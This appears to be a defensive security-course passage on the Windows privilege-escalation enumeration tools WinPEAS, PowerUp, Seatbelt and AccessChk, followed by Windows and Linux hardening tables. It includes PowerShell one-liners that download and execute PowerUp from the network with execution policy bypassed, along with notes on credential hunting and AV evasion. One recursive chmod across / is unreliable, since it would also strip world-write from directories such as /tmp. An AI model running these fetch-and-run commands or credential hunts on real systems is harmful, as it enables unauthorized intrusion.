- ✅ AlwaysInstallElevated Check
- ✅ Autorun & Startup Programs
- ✅ Stored Credentials (DPAPI, Vault)
- ✅ File System Permission Audits
- ✅ Kernel Exploit Suggestions
.exe (compiled), .bat (batch script), and .ps1 (PowerShell). The .exe is most reliable, .bat is portable, and .ps1 is useful when executables are blocked.
📌 Why Automated Windows Enumeration Matters
A modern Windows system contains:
- 100,000+ files and directories
- 200+ running services
- 50,000+ registry keys
- Multiple user accounts and groups
- Complex ACLs and permission inheritance
- Scans 1000+ security checks in seconds
- Color-codes findings by severity
- Groups findings into logical categories
- Provides context and remediation hints
- Consistent, repeatable results
⚙️ WinPEAS Execution Methods (Defensive Auditing)
| Method | Command | Best For | Defensive Note |
|---|---|---|---|
| winPEAS.exe | winPEAS.exe (cmd) |
Most reliable; compiled binary | Recommended for most audits |
| winPEAS.bat | winPEAS.bat |
Legacy systems, restricted environments | No compilation needed |
| winPEAS.ps1 | powershell -exec bypass -File winPEAS.ps1 |
PowerShell-enabled systems | May trigger AV/AMSI |
| Execute from Memory | [Net.WebClient]::new().DownloadString(url) | IEX |
No file write required | High risk of detection |
📋 WinPEAS Output Categories (What It Checks)
- AlwaysInstallElevated
- SeImpersonatePrivilege enabled
- Unquoted service paths
- Weak service permissions
- Writable system directories
- Stored plaintext credentials
- Modifiable registry autoruns
- Everyone write access to sensitive paths
- Users in privileged groups
- Old Windows versions
- Missing security patches
- Non-default services
- Suspicious autoruns
- Writable user directories
- Weak folder permissions
- Unencrypted protocols
- System information
- Network configuration
- Running processes
- Environment variables
- Installed software
- Hotfixes installed
- User profiles
- Domain membership
🔍 WinPEAS Detailed Check Categories
| Check | Defensive Purpose | Red Flag |
|---|---|---|
| OS Version & Build | Identify end-of-life systems | Windows 7, Server 2008, XP |
| Hotfixes & Patches | Missing security updates | No patches for PrintNightmare, Zerologon, EternalBlue |
| Architecture | 32-bit vs 64-bit | 32-bit systems have weaker exploit mitigations |
| Domain Membership | Identify domain-joined vs workgroup | Workgroup systems lack centralized management |
| Check | Defensive Purpose | Red Flag |
|---|---|---|
| Current User Privileges | Identify excessive rights | SeImpersonatePrivilege, SeDebugPrivilege, SeTakeOwnershipPrivilege |
| Administrator Group Members | Unauthorized admin accounts | Non-approved users in local Administrators group |
| Password Policies | Weak password requirements | Minimum password length < 8, no complexity |
| Guest Account Status | Disabled by default | Guest account enabled |
| Logged-in Users | Concurrent sessions | Multiple RDP sessions, idle administrative accounts |
| Check | Defensive Purpose | Red Flag | Remediation |
|---|---|---|---|
| Unquoted Service Paths | Paths with spaces and no quotes | CRITICAL - Binary hijacking possible | Quote service paths or remove spaces |
| Weak Service Permissions | Users can modify service config | Users group has SERVICE_CHANGE_CONFIG | Restrict service ACLs |
| Weak Binary Permissions | Service executable writable by users | BUILTIN\Users:(W) or Everyone:(W) | icacls to restrict write access |
| Services Running as SYSTEM | Unnecessary privileged accounts | Third-party services as SYSTEM | Use LocalService/NetworkService |
| Check | Defensive Purpose | Red Flag |
|---|---|---|
| AlwaysInstallElevated | MSI install as SYSTEM | HKLM & HKCU = 1 (CRITICAL) |
| Autorun Entries | Persistence mechanisms | Unauthorized or suspicious startup programs |
| Weak Registry ACLs | Service registry keys writable | Non-admin users can modify ImagePath |
| LAPS Status | Local admin password management | LAPS not installed or not configured |
| Check | Defensive Purpose | Red Flag |
|---|---|---|
| Unattend.xml / Autounattend.xml | Deployment answer files | Plaintext administrator passwords |
| PowerShell History | ConsoleHost_history.txt | Passwords typed in command line |
| Saved RDP Credentials | cmdkey /list | Stored domain/admin credentials |
| DPAPI Master Keys | Encrypted secrets | Accessible master key files |
| Browser Saved Passwords | Chrome, Edge, Firefox | Decryptable stored credentials |
| Configuration Files | web.config, appsettings.json, .env | Connection strings with passwords |
| Check | Defensive Purpose | Red Flag |
|---|---|---|
| World-Writable Directories | Everyone/Users write access | C:\Windows\Temp, C:\ProgramData |
| Startup Folder Permissions | Persistence vector | Users can write to Startup folder |
| SAM/SYSTEM Hive Permissions | Registry hive files | Readable by non-SYSTEM accounts |
| Modifiable System Binaries | exe/dll in system32 writable | CRITICAL - immediate remediation |
| Check | Defensive Purpose | Example |
|---|---|---|
| OS Build vs Known CVEs | Unpatched kernel vulnerabilities | MS17-010 (EternalBlue), CVE-2024-21338 |
| Windows Version End-of-Life | No security updates | Windows 7 (EOL Jan 2020), Server 2008 (EOL Jan 2020) |
📊 WinPEAS Output Examples (Defensive Interpretation)
[*] Checking AlwaysInstallElevated
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!
❌ CRITICAL: Any user can install MSI packages with SYSTEM privileges
✅ FIX: Set both registry keys to 0 and remove group policy
[*] Checking service paths without quotes
Service: VulnService
Path: C:\Program Files\Vendor App\service.exe
❌ CRITICAL: Path contains spaces and is not quoted
✅ FIX: Add quotes: "C:\Program Files\Vendor App\service.exe"
[*] Checking token privileges
SeImpersonatePrivilege - Enabled
⚠️ WARNING: Current user has impersonation privileges
✅ FIX: Remove SeImpersonatePrivilege from non-admin users
📌 Windows Environment Limitations
| Limitation | Impact | Workaround (Defensive) |
|---|---|---|
| Antivirus / EDR | May flag/block WinPEAS as suspicious | Temporarily exclude for authorized audits; use .bat variant |
| AppLocker / WDAC | Blocks unsigned executables | Use .bat or .ps1 with appropriate execution policy |
| PowerShell Constrained Language | Limits .ps1 functionality | Use winPEAS.exe or winPEAS.bat instead |
| UAC | Non-elevated = limited results | Run as Administrator for full audit |
| .NET Framework | winPEAS.exe requires .NET | winPEAS.bat has no dependencies |
🛠️ Other Windows Automated Enumeration Tools (Defensive)
C# tool for security configuration analysis
Defensive use: Quick security posture assessment
PowerShell tool for service/privilege misconfigurations
Defensive use: Identify service permission issues
PowerShell script with detailed reporting
Defensive use: Comprehensive auditing with remediation guidance
Sysinternals tool for ACL auditing
Defensive use: Manual verification of permissions
Python tool for missing patches
Defensive use: Identify missing security updates
📌 Limitations of Automated Windows Tools
- ❌ May generate false positives
- ❌ Cannot understand business context
- ❌ Miss custom application misconfigurations
- ❌ No knowledge of intended vs actual state
- ❌ Trigger security alerts (expected for audits)
- ❌ Require elevation for complete results
- ❌ Cannot replace manual analysis
sc qc, icacls, reg query, Get-Acl).
📋 Defensive Windows Enumeration Workflow
-
1. Manual Baseline EnumerationRun
whoami /priv,systeminfo,net localgroup Administratorsto understand current state -
2. Run WinPEAS (or other tool)Execute with appropriate privileges, redirect output to file for analysis
-
3. Filter by SeverityFocus on RED (critical) findings first, then YELLOW, then BLUE
-
4. Manual VerificationVerify each finding with native Windows commands
-
5. Document & RemediateRecord findings, assign severity, apply fixes, re-audit
📋 WinPEAS Defensive Cheat Sheet
| Scenario | Recommended Command | Notes |
|---|---|---|
| Full system audit | winPEAS.exe |
Run as Administrator for complete results |
| AV/EDR present | winPEAS.bat |
Less likely to be flagged |
| No .NET available | winPEAS.bat |
No dependencies |
| Quick check | winPEAS.exe quiet |
Reduced output, faster execution |
| Save results | winPEAS.exe log output.txt |
Saves to file for analysis |
| Search for passwords | winPEAS.exe searchfast |
Focuses on credential hunting |
✅ WinPEAS Defensive Summary
WinPEAS is an essential tool in the defender's arsenal, not just for penetration testers. Regular automated scanning with WinPEAS helps organizations:
- ✅ Identify and remediate misconfigurations before they are exploited
- ✅ Validate that security baselines are applied consistently
- ✅ Discover forgotten credentials and sensitive data exposure
- ✅ Train security teams to recognize Windows privilege escalation vectors
- ✅ Provide evidence for compliance and auditing requirements
WinPEAS and other automated enumeration tools must only be used on systems you own or have explicit written authorization to test. Unauthorized use is illegal, violates computer fraud laws, and is unethical.
• Official WinPEAS GitHub Repository
• HackTricks - Windows Privilege Escalation
• Microsoft Windows Server Administration
• CIS Windows Benchmarks
21.32 PowerUp – PowerShell Service & Privilege Auditing (Defensive)
⚡ What is PowerUp?
📄 Official: PowerSploit/PrivescPowerUp is a PowerShell module developed by the PowerShellMafia as part of the PowerSploit framework. It is specifically designed to identify Windows service misconfigurations, weak file/registry permissions, and privilege escalation opportunities. Unlike WinPEAS (comprehensive enumeration), PowerUp specializes in service-level and permission-based vulnerabilities.
🎯 Why PowerUp? (Defensive Perspective)
- Focused Scope: Specializes in service misconfigurations
- PowerShell Native: No compilation required
- Memory-Only Execution: No files written to disk
- Clear Output: Human-readable findings
- Remediation Hints: Suggests how to fix issues
- Lightweight: Faster than WinPEAS for targeted audits
- PowerShell Dependent: Requires PowerShell execution
- AMSI Bypass Needed: Often flagged by AV/EDR
- Less Comprehensive: No kernel exploit suggestions
- No Credential Hunting: Does not search for passwords
- Legacy Tool: Less maintained than WinPEAS
🔧 PowerUp Core Functions (Defensive Checks)
| Function | Purpose | Defensive Red Flag |
|---|---|---|
Invoke-AllChecks |
MASTER FUNCTION: Runs all PowerUp checks | Aggregated report of all misconfigurations |
Get-ModifiableServiceFile |
Find services where users can modify the service binary | Writable service executables by non-admin users |
Get-ModifiableService |
Find services where users can modify the service configuration | Users can change service binary path (sc config) |
Get-UnquotedService |
Find services with unquoted paths containing spaces | CRITICAL: Binary hijacking possible |
Get-ModifiableRegistryAutoRun |
Find autorun registry keys writable by users | Persistence vector for privilege escalation |
Get-ModifiableScheduledTaskFile |
Find scheduled tasks with modifiable scripts/binaries | Tasks running as SYSTEM with writable files |
Get-WebConfigSettings |
Find IIS web.config files with connection strings | Plaintext database passwords |
Test-ServiceDaclPermission |
Check service DACLs for weak permissions | Users group has SERVICE_CHANGE_CONFIG |
⚙️ PowerUp Execution Methods (Defensive Auditing)
# Download PowerUp.ps1 (authorized system only)
Import-Module .\PowerUp.ps1
Invoke-AllChecks
✅ Best for: Comprehensive service audit. Outputs all findings with color coding.
# Execute directly from GitHub (defensive testing only)
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks"
# Only check for unquoted service paths
Import-Module .\PowerUp.ps1
Get-UnquotedService | Format-Table -AutoSize
✅ Best for: Focused audits when you only need specific checks.
📊 PowerUp Output Examples (Defensive Interpretation)
ServiceName : VulnService
Path : C:\Program Files\Vendor App\service.exe
StartName : LocalSystem
AbuseFunction : Write-Host -ForegroundColor Yellow "Path: C:\Program Files\Vendor App\service.exe"
CanBeRestarted : True
❌ CRITICAL FINDING: Service path contains spaces and is NOT quoted
✅ FIX: Add quotes - sc config VulnService binPath= "C:\Program Files\Vendor App\service.exe"
ServiceName : UpdateService
Path : C:\Program Files\Updater\updater.exe
ModifiablePath : @{Permissions=WriteOwner/WriteDACL/Write}
IdentityReference : BUILTIN\Users
❌ CRITICAL: Standard users can WRITE to service binary
✅ FIX: icacls "C:\Program Files\Updater\updater.exe" /inheritance:r /grant Administrators:F /grant SYSTEM:F
[*] Checking AlwaysInstallElevated...
HKLM: 1
HKCU: 1
❌ CRITICAL: Any user can install MSI packages as SYSTEM
✅ FIX: Set HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 0
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 0
[*] Checking modifiable registry autoruns...
Key : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\UpdateChecker
Modifiable : True
IdentityReference : BUILTIN\Users
⚠️ WARNING: Users can modify this autorun registry key
✅ FIX: Restrict permissions on registry key or remove if unnecessary
🔍 Manual Verification of PowerUp Findings (Defensive)
Every PowerUp finding should be manually verified using native Windows commands. This ensures accuracy and builds defender knowledge.
| PowerUp Finding | Manual Verification Command | What to Check |
|---|---|---|
| Unquoted Service Path | wmic service get name,pathname | findstr /i /v """" | findstr /i /v "C:\\Windows\\" |
Paths with spaces and no quotes |
| Weak Service Binary Permissions | icacls "C:\Program Files\Vendor\service.exe" |
BUILTIN\Users:(W) or Everyone:(W) |
| Weak Service DACL | sc sdshow VulnService | Get-ACL -Path "HKLM:\SYSTEM\CurrentControlSet\Services\VulnService" |
Users group with SERVICE_CHANGE_CONFIG |
| AlwaysInstallElevated | reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated |
Value = 1 (0x1) in both HKLM and HKCU |
| Modifiable Registry Autorun | Get-ACL -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" | Format-List |
Users group with Write/FullControl |
🛡️ Using PowerUp for Defensive Hardening
Run PowerUp before making security changes to establish baseline:
Import-Module .\PowerUp.ps1
Invoke-AllChecks | Out-File pre-hardening-audit.txt
Run PowerUp after hardening to verify fixes:
Import-Module .\PowerUp.ps1
Invoke-AllChecks | Out-File post-hardening-audit.txt
🛡️ PowerUp Detection & AMSI (Defender Perspective)
- AMSI Signatures: Detects known PowerUp function names
- Script Block Logging: PowerShell logs full script content
- Behavioral Analysis: Service query patterns
- Network Signatures: Downloading from raw GitHub
- Event ID 4104: PowerShell script block logged
- Event ID 4103: Module logging
- Event ID 4688: Process creation with PowerShell
📌 PowerUp Limitations (Defender Awareness)
- ❌ PowerShell Dependent: Cannot run if PowerShell is disabled or restricted
- ❌ AMSI/Defender Trigger: Heavily signatured; often blocked
- ❌ Legacy Code: Less maintained than WinPEAS (last major updates 2016-2018)
- ❌ No Kernel Checks: Does not suggest missing patches or kernel exploits
- ❌ No Credential Hunting: Does not search for passwords, DPAPI, or browser credentials
- ❌ False Positives: May flag services that are not actually exploitable in context
📋 Defensive PowerUp Workflow
-
1. Prepare Test EnvironmentDownload PowerUp.ps1 to authorized audit system. Never run from untrusted sources.
-
2. Execute with Audit PolicyRun with explicit authorization. Document start time, system, and auditor.
-
3. Export ResultsRedirect output to file with timestamp. Include in audit report.
-
4. Manual VerificationVerify each CRITICAL finding with icacls, sc qc, reg query.
-
5. Remediate & Re-auditFix verified issues, run PowerUp again to confirm remediation.
📋 PowerUp Defensive Cheat Sheet
| Task | PowerUp Command | Alternative Native Command |
|---|---|---|
| Full Service Audit | Invoke-AllChecks |
sc query & wmic service |
| Unquoted Paths Only | Get-UnquotedService |
wmic service get name,pathname | findstr /i /v """" |
| Weak Service Binaries | Get-ModifiableServiceFile |
icacls [service_path] |
| Weak Service DACLs | Get-ModifiableService |
sc sdshow [service] |
| AlwaysInstallElevated | Get-RegistryAlwaysInstallElevated |
reg query HKLM\...\AlwaysInstallElevated |
✅ PowerUp Defensive Summary
PowerUp is a specialized, powerful tool for Windows service security auditing. When used responsibly on authorized systems, it helps defenders:
- ✅ Identify and fix unquoted service paths before attackers exploit them
- ✅ Discover weak service permissions that allow privilege escalation
- ✅ Detect AlwaysInstallElevated misconfigurations
- ✅ Find modifiable autorun registry keys
- ✅ Validate service hardening after security patches
PowerUp must only be used on systems you own or have explicit written authorization to test. Unauthorized use violates computer fraud laws and is unethical.
• Official PowerUp GitHub Repository
• Microsoft PowerShell Security Overview
• MITRE ATT&CK: Windows Service (T1543.003)
• SharpUp - C# Port of PowerUp
Section 21.32 Complete — PowerUp: PowerShell Service & Privilege Auditing for Defenders
21.33 Seatbelt & AccessChk – Windows Security Configuration Analysis (Defensive)
🪑 Seatbelt
📄 GitHub: GhostPack/SeatbeltSeatbelt is a C# project developed by Harmj0y as part of GhostPack. It is a security configuration analysis tool that collects detailed system information and identifies potential security weaknesses. Unlike WinPEAS (privilege escalation focused) and PowerUp (service focused), Seatbelt provides a broad, comprehensive snapshot of system security posture.
🔧 AccessChk
📄 Microsoft SysinternalsAccessChk is a Sysinternals tool developed by Mark Russinovich. It is the gold standard for manual permission auditing. Unlike automated scanners, AccessChk gives defenders precise control to check permissions on specific files, directories, registry keys, services, and processes. It is lightweight, portable, and trusted.
🪑 SEATBELT – Deep Dive (Defensive Analysis)
🔐 System & OS
- OS Version & Build
- Hotfixes & Patches
- UAC Configuration
- LAPS Status
- PowerShell Settings
👥 Users & Groups
- Local User Accounts
- Administrator Group
- Token Privileges
- Logged-in Users
- RDP Sessions
⚙️ Services & Tasks
- Running Services
- Service Permissions
- Scheduled Tasks
- Drivers
📁 Files & Registry
- Autoruns
- Interesting Files
- Putty Host Keys
- WSL Distributions
- Chromium Saved Passwords
GitHub:
GhostPack/Seatbelt
Author: Harmj0y (Will Schroeder)
Language: C# (.NET)
License: BSD-3-Clause
Version: Seatbelt v2.0+
⚙️ Seatbelt Execution Methods (Defensive Auditing)
| Command | Purpose | Defensive Use Case |
|---|---|---|
Seatbelt.exe |
Run all checks (comprehensive) | Complete system security posture assessment |
Seatbelt.exe -group=system |
System information only | Quick OS version and patch audit |
Seatbelt.exe -group=user |
User-focused checks | Audit current user privileges and groups |
Seatbelt.exe -group=misc |
Miscellaneous checks | LAPS, audit policy, DPAPI |
Seatbelt.exe -group=chromium |
Browser saved passwords | Identify plaintext credential storage |
Seatbelt.exe -full |
Maximum verbosity | Deep dive investigations |
📊 Seatbelt Output Examples (Defensive Interpretation)
=== UAC Configuration ===
EnableLUA : 1
ConsentPromptBehaviorAdmin : 2
PromptOnSecureDesktop : 1
EnableInstallerDetection : 1
LocalAccountTokenFilterPolicy : 0
✅ UAC is enabled and configured appropriately
⚠️ ConsentPromptBehaviorAdmin=2 = Prompt for consent (default - Good)
❌ LocalAccountTokenFilterPolicy=1 = Remote UAC bypass (CRITICAL)
Defensive Action: Ensure LocalAccountTokenFilterPolicy is 0. This prevents remote admin bypass.
=== LAPS ===
Installed : False
Administrators Group :
Password Enabled : False
❌ LAPS is NOT installed. Local administrator passwords are not managed.
Defensive Action: Deploy LAPS (Local Administrator Password Solution) immediately.
=== Chromium Saved Passwords ===
URL : https://corporate-portal.example.com
Username : jdoe
Password : Summer2024!
❌ CRITICAL: Plaintext credentials stored in browser. User may not be aware.
Defensive Action: Educate users not to save passwords in browsers. Consider enterprise password manager.
=== PowerShell Settings ===
PowerShell v2 : False
PowerShell v5/v7 : True
Transcription Logs : True
Module Logging : True
Script Block Logging : True
✅ PowerShell v2 (vulnerable) is DISABLED
✅ Enhanced logging is ENABLED (Good for incident response)
Defensive Action: Maintain current configuration. PowerShell v2 should remain disabled.
🛡️ Seatbelt Defensive Applications
Rapidly collect system configuration, logged-in users, autoruns, and suspicious services during IR.
Seatbelt.exe -group=system -group=user -group=misc
Verify systems meet security baselines (CIS, NIST, DISA STIG).
Seatbelt.exe -full -output=c:\audit\seatbelt-$(hostname)-$(date).txt
Establish baseline before implementing security changes.
Seatbelt.exe -full > pre-hardening.log
🔧 ACCESSCHK – Deep Dive (Defensive Permission Auditing)
AccessChk answers the question: "Who has WHAT access to THIS object?"
- ✅ Files & Directories
- ✅ Registry Keys
- ✅ Services
- ✅ Processes
- ✅ Global Objects
- ✅ Named Pipes
- ✅ Windows Stations
- ✅ Desktop Objects
Official:
Microsoft Sysinternals
Author: Mark Russinovich
Language: Native Windows
License: Freeware
⚙️ AccessChk Execution Methods (Defensive)
| Command | Purpose | Defensive Use Case |
|---|---|---|
accesschk.exe -d C:\Windows\ |
Check directory permissions | Verify system directory is not writable by Users |
accesschk.exe \\.\C$\ |
Check admin share permissions | Audit remote administrative access |
accesschk.exe -k hklm\software |
Check registry key permissions | Audit service registry keys, autorun keys |
accesschk.exe -c VulnService |
Check service permissions | Verify Users cannot modify service config |
accesschk.exe -p * |
Check process permissions | Identify processes accessible by non-admin users |
accesschk.exe -u Users C:\ |
Check access for specific user/group | What can the Users group write to? |
accesschk.exe -w -s Users C:\ |
Find writable files/dirs recursively | Comprehensive writable file audit |
accesschk.exe -k -w -s Users hklm |
Find writable registry keys recursively | Comprehensive registry permission audit |
📊 AccessChk Output Examples (Defensive Interpretation)
C:\> accesschk.exe -u Users "C:\Program Files\Vendor\service.exe"
RW BUILTIN\Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_APPEND_DATA
FILE_WRITE_DATA
FILE_WRITE_EA
FILE_WRITE_ATTRIBUTES
❌ CRITICAL: Users group has WRITE access to service executable
✅ FIX: icacls "C:\Program Files\Vendor\service.exe" /inheritance:r /grant Administrators:F /grant SYSTEM:F
C:\> accesschk.exe -c VulnService
VulnService
R NT AUTHORITY\SYSTEM
R BUILTIN\Administrators
RW BUILTIN\Users
SERVICE_ALL_ACCESS
❌ CRITICAL: Users group has FULL CONTROL over service configuration
✅ FIX: sc sdset VulnService D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
C:\> accesschk.exe -d -u Users "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
RW BUILTIN\Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_WRITE_DATA
⚠️ WARNING: Users can add files to Startup folder (persistence vector)
✅ FIX: Remove Users write permission from Startup folder
C:\> accesschk.exe -k -u Users hklm\software\microsoft\windows\currentversion\run
No matching objects found.
✅ Users have NO write access to system-wide autorun registry keys
✅ Configuration is secure
🛡️ AccessChk Defensive Workflow
📋 Service Security Audit
# Check all services for weak permissions
accesschk.exe -c * | findstr /i "RW BUILTIN\\Users"
accesschk.exe -c * | findstr /i "RW Everyone"
📁 File System Audit
# Find world-writable directories
accesschk.exe -w -s Users C:\ 2>nul
accesschk.exe -w -s Everyone C:\ 2>nul
📋 Registry Audit
# Find writable registry autorun keys
accesschk.exe -k -w -s Users hklm\software\microsoft\windows\currentversion\run
🔄 Service Binary Audit
# Check all service binaries for weak permissions
for /f %s in ('sc query state^= all ^| findstr /i "SERVICE_NAME" ^| findstr /v "gupdate gupdatem"') do accesschk.exe -u Users "%~s"
🔄 Seatbelt vs AccessChk: Defensive Comparison
| Feature | Seatbelt | AccessChk |
|---|---|---|
| Primary Purpose | Security posture assessment (broad) | Permission verification (focused) |
| Scope | 60+ categories across entire system | Specific objects (files, registry, services) |
| Output | Comprehensive report | Precise permission listings |
| Use Case | Initial audit, baseline, incident response | Verifying specific findings, manual investigation |
| Signature | Not signed (community tool) | Microsoft digitally signed |
| AV Detection | Often flagged | Whitelisted by most AV/EDR |
| Best For | "What's wrong with this system?" | "Is THIS specific object secure?" |
- Seatbelt/WinPEAS – Identify potential issues (broad scan)
- AccessChk – Verify specific permissions (manual verification)
- Remediation – Apply fixes (icacls, sc sdset, regini)
- Re-audit – AccessChk to confirm fix
📋 Defensive Checklist: Seatbelt & AccessChk
- Run
Seatbelt.exe -group=system -group=user -group=misc - Check for LAPS installation
- Verify UAC settings
- Audit local administrator group
- Compare against baseline
accesschk -c * | findstr "RW BUILTIN\\Users"accesschk -c * | findstr "RW Everyone"- Verify no unquoted service paths
- Ensure no services run as SYSTEM unnecessarily
accesschk -w -s Users C:\Program Filesaccesschk -w -s Users C:\Windows- Audit Startup folder permissions
- Check for world-writable system directories
accesschk -k -w -s Users hklm\software- Audit autorun registry keys
- Check AlwaysInstallElevated
- Verify service registry key ACLs
📌 Tool Limitations (Defender Awareness)
- ❌ Unsigned executable – often flagged by AV
- ❌ Requires .NET framework
- ❌ No automatic remediation
- ❌ Can trigger EDR alerts (expected for audits)
- ❌ Some checks require admin privileges
- ❌ No GUI – command line only
- ❌ Output can be verbose/difficult to parse
- ❌ No automated remediation
- ❌ Requires understanding of ACLs/SDDL
- ❌ Recursive scans can be slow on large drives
✅ Seatbelt & AccessChk – Defensive Summary
🪑 Seatbelt:
- ✅ Best for broad security posture assessments
- ✅ Excellent for incident response triage
- ✅ Identifies misconfigurations across 60+ categories
- ✅ Ideal for baseline establishment
🔧 AccessChk:
- ✅ Gold standard for permission verification
- ✅ Microsoft signed – trusted by defenders
- ✅ Precise, targeted audits
- ✅ Essential for manual verification
These tools must only be used on systems you own or have explicit written authorization to test. Unauthorized use is illegal and unethical. Seatbelt and AccessChk are legitimate administrative tools, but their misuse is prohibited.
• Seatbelt GitHub Repository
• AccessChk Official Documentation
• SpecterOps: Introduction to Seatbelt
• Microsoft: Access Control Lists
21.34 Defense Against Privilege Escalation (Complete Defensive Framework)
🛡️ Core Defense Principles (Expanded)
Definition: Users, processes, and systems should only have the minimum permissions necessary to perform their function.
Implementation:
- Users: Standard user accounts, not administrators
- Services: Run as Network Service/Local Service, not SYSTEM
- Applications: Containerized with restricted capabilities
- Network: Firewall rules, not any-to-any
✔ Eliminates 80% of privilege escalation vectors at source
Definition: Systems should be deployed in a hardened, locked-down state. Unnecessary features and services should be disabled.
Implementation:
- Baselining: CIS Benchmarks, DISA STIGs
- Automation: Ansible, Puppet, DSC for consistent config
- Removal: Uninstall legacy components, disable weak protocols
✔ Prevents misconfigurations before they reach production
Definition: Multiple, overlapping security controls ensure that failure of one control does not lead to system compromise.
Implementation:
- Preventive: Permissions, AppLocker, SELinux
- Detective: Logging, SIEM, EDR
- Corrective: Automated remediation, IR playbooks
✔ No single point of security failure
Definition: Security is not a one-time activity. Configurations drift, patches are missed, and new vulnerabilities emerge.
Implementation:
- Automated scanning: Weekly WinPEAS/LinPEAS audits
- Vulnerability management: Monthly patch cycles
- Red teaming: Annual penetration tests
✔ Finds and fixes regressions before attackers do
🪟 Windows Defense – Practical Hardening Guide
| Control | Implementation | Verification Command |
|---|---|---|
| Run users as Standard User | Remove users from local Administrators group | net localgroup Administrators |
| Enable UAC | Set ConsentPromptBehaviorAdmin = 2 (Prompt for consent) | reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA |
| Disable Guest Account | net user guest /active:no | net user guest |
| LAPS (Local Administrator Password Solution) | Deploy LAPS to rotate local admin passwords | Get-LAPSADPassword -Identity "ComputerName" |
| Remove expired user accounts | Quarterly user account audit | Get-LocalUser | Where-Object {$_.Enabled -eq $true} |
| Control | Implementation | Verification Command |
|---|---|---|
| Fix unquoted service paths | Add quotes to service binary paths | wmic service get name,pathname | findstr /i /v """" | findstr /i "Program Files" |
| Restrict service binary permissions | icacls "C:\Program Files\Vendor\service.exe" /inheritance:r /grant Administrators:F /grant SYSTEM:F | accesschk.exe -u Users "C:\Program Files\Vendor\service.exe" |
| Restrict service DACLs | sc sdset ServiceName D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA) | sc sdshow ServiceName |
| Run services as least privilege | Use LocalService/NetworkService, not LocalSystem | wmic service where "startname='LocalSystem'" get name,startname |
| Disable unnecessary services | sc config ServiceName start= disabled | sc query state= all | findstr /i "SERVICE_NAME" |
| Control | Implementation | Verification Command |
|---|---|---|
| Disable AlwaysInstallElevated | reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f | reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated |
| Restrict autorun registry keys | Set-ACL -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -RemoveAccessRule "BUILTIN\Users","Write" | accesschk.exe -k -u Users HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Restrict service registry keys | sc sdset ServiceName (affects registry as well) | Get-ACL -Path "HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName" |
| Control | Implementation | Verification |
|---|---|---|
| Disable PowerShell v2 | Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 | $PSVersionTable (PSVersion 2.0 should not appear) |
| Enable PowerShell Logging | Enable Script Block Logging, Module Logging via GPO | Event ID 4104, 4103 |
| Enable Credential Guard | Enable via Group Policy or registry | Get-ComputerInfo -Property "DeviceGuard*" |
| Enable Windows Defender Credential Guard | Isolate LSASS to protect from credential dumping | Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-CredentialGuard |
🐧 Linux Defense – Practical Hardening Guide
| Control | Implementation | Verification Command |
|---|---|---|
| Remove NOPASSWD entries | Edit /etc/sudoers - remove NOPASSWD directive | sudo -l | grep NOPASSWD |
| Restrict sudo commands | Specify exact binaries with absolute paths | sudo -l - review for dangerous commands (vim, less, find, nmap) |
| Disable sudo env_keep for LD_PRELOAD | Defaults !env_keep += "LD_PRELOAD" | sudo -l | grep env_keep |
| Use sudo log file | Defaults logfile="/var/log/sudo.log" | cat /var/log/sudo.log |
| Control | Implementation | Verification Command |
|---|---|---|
| Remove unnecessary SUID | chmod u-s /path/to/binary | find / -perm -4000 -type f 2>/dev/null |
| Remove unnecessary SGID | chmod g-s /path/to/binary | find / -perm -2000 -type f 2>/dev/null |
| Mount filesystems with nosuid | Add nosuid to /etc/fstab for /home, /tmp, /var/tmp | mount | grep nosuid |
| Audit custom SUID binaries | Review all non-standard SUID binaries quarterly | find / -perm -4000 -user root -type f ! -path "/usr/bin/*" ! -path "/bin/*" |
pkexec (CVE-2021-4034), sudo, and crontab are frequent escalation vectors. Keep them patched.
| Control | Implementation | Verification Command |
|---|---|---|
| Restrict cron script permissions | chmod 700 /etc/cron.daily/* | ls -la /etc/cron*/* |
| Use absolute paths in cron | Replace `script.sh` with `/usr/local/bin/script.sh` | grep -r "^[^#]" /etc/crontab /etc/cron.d/ |
| Avoid wildcards in cron | Replace `tar *` with explicit file list or find -exec | grep -r "\*" /etc/cron* |
| Restrict cron access | Use /etc/cron.allow and /etc/cron.deny | cat /etc/cron.allow |
| Control | Implementation | Verification Command |
|---|---|---|
| Remove dangerous capabilities | setcap -r /path/to/binary | getcap -r / 2>/dev/null |
| Restrict world-writable files | find / -type f -perm -0002 -exec chmod o-w {} \; 2>/dev/null | find / -type f -perm -0002 2>/dev/null | grep -v "^/proc" |
| Restrict world-writable directories | find / -type d -perm -0002 -exec chmod o-w {} \; 2>/dev/null | find / -type d -perm -0002 2>/dev/null | grep -v "^/proc" |
| Secure /etc/shadow permissions | chmod 640 /etc/shadow; chown root:shadow /etc/shadow | ls -la /etc/shadow |
| Control | Implementation | Verification |
|---|---|---|
| Remove users from docker group | gpasswd -d username docker | getent group docker |
| Remove users from disk group | gpasswd -d username disk | getent group disk |
